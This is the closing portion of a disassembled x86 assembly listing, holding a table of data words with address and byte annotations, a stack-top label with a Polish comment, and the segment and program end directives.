dw 0 ;979D 00 00
dw 0 ;979F 00 00
dw 0 ;97A1 00 00
dw 0 ;97A3 00 00
dw 0 ;97A5 00 00
dw 0 ;97A7 00 00
dw 156Ch ;97A9 6C 15
dw 1261h ;97AB 61 12
dw 2524h ;97AD 24 25
dw 0005h ;97AF 05 00
dw 0020h ;97B1 20 00
dw 04EBh ;97B3 EB 04
dw 0006h ;97B5 06 00
dw 156Ch ;97B7 6C 15
dw 2508h ;97B9 08 25
dw 0FEA5h ;97BB A5 FE
dw 07BCh ;97BD BC 07
dw 0216h ;97BF 16 02
dw 065Eh ;97C1 5E 06
dw 156Ch ;97C3 6C 15
dw 0C89h ;97C5 89 0C
dw 012Fh ;97C7 2F 01
dw 7F04h ;97C9 04 7F
dw 0075h ;97CB 75 00
dw 065Eh ;97CD 5E 06
dw 5A1Dh ;97CF 1D 5A
dw 0 ;97D1 00 00
dw 9301h ;97D3 01 93
dw 0BA6h ;97D5 A6 0B
dw 0213h ;97D7 13 02
dw 0C89h ;97D9 89 0C
dw 0F202h ;97DB 02 F2
L065D dw 2700h ;szczyt stosu ;97DD 00 27
L065F DB 0C8H,0F7h,0E1h,0EEh,0E7h ;97DF C8 F7 E1 EE E7
L0664 label byte
S9180 ENDS
END L9244